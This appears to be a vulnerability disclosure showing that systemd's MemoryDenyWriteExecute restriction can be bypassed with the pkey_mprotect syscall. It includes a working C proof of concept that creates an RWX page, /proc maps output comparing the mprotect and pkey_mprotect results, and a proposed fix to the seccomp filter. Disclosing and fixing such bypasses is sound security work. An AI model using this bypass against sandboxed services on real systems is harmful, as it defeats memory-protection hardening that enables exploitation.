Bypassing MemoryDenyWriteExecution policy

A service constrained by *MemoryDenyWriteExecution* policy can be abused to create **RWX** (Readable, Writable and eXecutable) memory areas.

From Linux 4.9, pkey API was added to support Intel "Memory protection keys" feature (in Skylake+ CPU), allowing a program to deny certain types of access to memory pages.

Among the five syscalls added, **pkey_mprotect** is responsible of assigning protection key to pages, it is a variant of the **mprotect** system call.

```
int pkey_mprotect(void *addr, size_t len, int prot, int pkey)
```

The new **pkey_mprotect** system call applies the protection bits (prot) to the page. This syscall isn't filtered by *MemoryDenyWriteExecution* and on system without hardware support of protection keys, **pkey_mprotect** is equivalent to **mprotect** (using 0 as pkey).

With or without hardware support, setting pkey as -1, the **pkey_mprotect** will fall back on **mprotect**.

We can use **pkey_mprotect** to bypass *MemoryDenyWriteExecution* :

```
#include <stdint.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
int pkey_mprotect(void *addr, size_t len, int prot, unsigned long pkey) {
        return syscall(SYS_pkey_mprotect, addr, len, prot, pkey);
}

int main() {
        void * rwx = mmap(0, 0x1000, PROT_READ | PROT_WRITE, \
                          MAP_PRIVATE | MAP_ANON, 0, 0);
        pkey_mprotect(rwx, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, -1);
        printf("PID : %d\n", getpid());
        printf("RWX : %llx\n", rwx);
        sleep(60);
        return 0;
}
```

The results are available in the next page (test with **mprotect** and with **pkey_mprotect**).

In order to fix this bypass, **pkey_mprotect** should be added to the seccomp filtered system call like **mprotect** (block if *PROT_EXEC* is specified) in *seccomp_memory_deny_write_execute* function in **src/shared/seccomp-util.c**.

Using **mprotect**, the call fails and the allocated page is mapped as **RW** :

```
ubuntu denyexec[20222]: MPROTECT : -1
ubuntu denyexec[20222]: PID : 20222
ubuntu denyexec[20222]: RWX : 7f1d1b692000
mst@ubuntu:/etc/systemd/system$ sudo cat /proc/20222/maps
558da6343000-558da6344000 r-xp 00000000 08:01 144780                     /test/denyexec
558da6543000-558da6544000 r--p 00000000 08:01 144780                     /test/denyexec
558da6544000-558da6545000 rw-p 00001000 08:01 144780                     /test/denyexec
558da6a4d000-558da6a6f000 rw-p 00000000 00:00 0                          [heap]
7f1d1b0aa000-7f1d1b267000 r-xp 00000000 08:01 1185336                    /lib/x86_64-linux-gnu/libc-2.24.so
7f1d1b267000-7f1d1b467000 ---p 001bd000 08:01 1185336                    /lib/x86_64-linux-gnu/libc-2.24.so
7f1d1b467000-7f1d1b46b000 r--p 001bd000 08:01 1185336                    /lib/x86_64-linux-gnu/libc-2.24.so
7f1d1b46b000-7f1d1b46d000 rw-p 001c1000 08:01 1185336                    /lib/x86_64-linux-gnu/libc-2.24.so
7f1d1b46d000-7f1d1b471000 rw-p 00000000 00:00 0
7f1d1b471000-7f1d1b496000 r-xp 00000000 08:01 1185308                    /lib/x86_64-linux-gnu/ld-2.24.so
7f1d1b678000-7f1d1b67a000 rw-p 00000000 00:00 0
7f1d1b692000-7f1d1b696000 rw-p 00000000 00:00 0
7f1d1b696000-7f1d1b697000 r--p 00025000 08:01 1185308                    /lib/x86_64-linux-gnu/ld-2.24.so
7f1d1b697000-7f1d1b698000 rw-p 00026000 08:01 1185308                    /lib/x86_64-linux-gnu/ld-2.24.so
7f1d1b698000-7f1d1b699000 rw-p 00000000 00:00 0
7ffc8fafc000-7ffc8fb1d000 rw-p 00000000 00:00 0                          [stack]
7ffc8fba0000-7ffc8fba2000 r--p 00000000 00:00 0                          [vvar]
7ffc8fba2000-7ffc8fba4000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
```

Using **pkey_mprotect**, the call succeeds and the mitigation is bypassed (**RWX** page) :

```
mst@ubuntu:/etc/systemd/system$ cat sandbox.service
[Unit]
Description=Sandbox test

[Service]
Type=oneshot
RemainAfterExit=no
MemoryDenyWriteExecute=yes
ExecStart=/test/denyexec
mst@ubuntu:/etc/systemd/system$ systemctl status sandbox
● sandbox.service - Sandbox test
   Loaded: loaded (/etc/systemd/system/sandbox.service; static;
   Active: inactive (dead)
 ubuntu systemd[1]: Starting Sandbox test...
 ubuntu denyexec[20285]: PID : 20285
 ubuntu denyexec[20285]: RWX : 7f3737f29000
mst@ubuntu:/etc/systemd/system$ sudo cat /proc/20285/maps
557d54977000-557d54978000 r-xp 00000000 08:01 528474                     /test/denyexec
557d54b77000-557d54b78000 r--p 00000000 08:01 528474                     /test/denyexec
557d54b78000-557d54b79000 rw-p 00001000 08:01 528474                     /test/denyexec
557d5689e000-557d568c0000 rw-p 00000000 00:00 0                          [heap]
7f3737941000-7f3737afe000 r-xp 00000000 08:01 1185336                    /lib/x86_64-linux-gnu/libc-2.24.so
7f3737afe000-7f3737cfe000 ---p 001bd000 08:01 1185336                    /lib/x86_64-linux-gnu/libc-2.24.so
7f3737cfe000-7f3737d02000 r--p 001bd000 08:01 1185336                    /lib/x86_64-linux-gnu/libc-2.24.so
7f3737d02000-7f3737d04000 rw-p 001c1000 08:01 1185336                    /lib/x86_64-linux-gnu/libc-2.24.so
7f3737d04000-7f3737d08000 rw-p 00000000 00:00 0
7f3737d08000-7f3737d2d000 r-xp 00000000 08:01 1185308                    /lib/x86_64-linux-gnu/ld-2.24.so
7f3737f0f000-7f3737f11000 rw-p 00000000 00:00 0
7f3737f29000-7f3737f2a000 rwxp 00000000 00:00 0
7f3737f2a000-7f3737f2d000 rw-p 00000000 00:00 0
7f3737f2d000-7f3737f2e000 r--p 00025000 08:01 1185308                    /lib/x86_64-linux-gnu/ld-2.24.so
7f3737f2e000-7f3737f2f000 rw-p 00026000 08:01 1185308                    /lib/x86_64-linux-gnu/ld-2.24.so
7f3737f2f000-7f3737f30000 rw-p 00000000 00:00 0
7ffc43e87000-7ffc43ea8000 rw-p 00000000 00:00 0                          [stack]
7ffc43eb6000-7ffc43eb8000 r--p 00000000 00:00 0                          [vvar]
7ffc43eb8000-7ffc43eba000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
```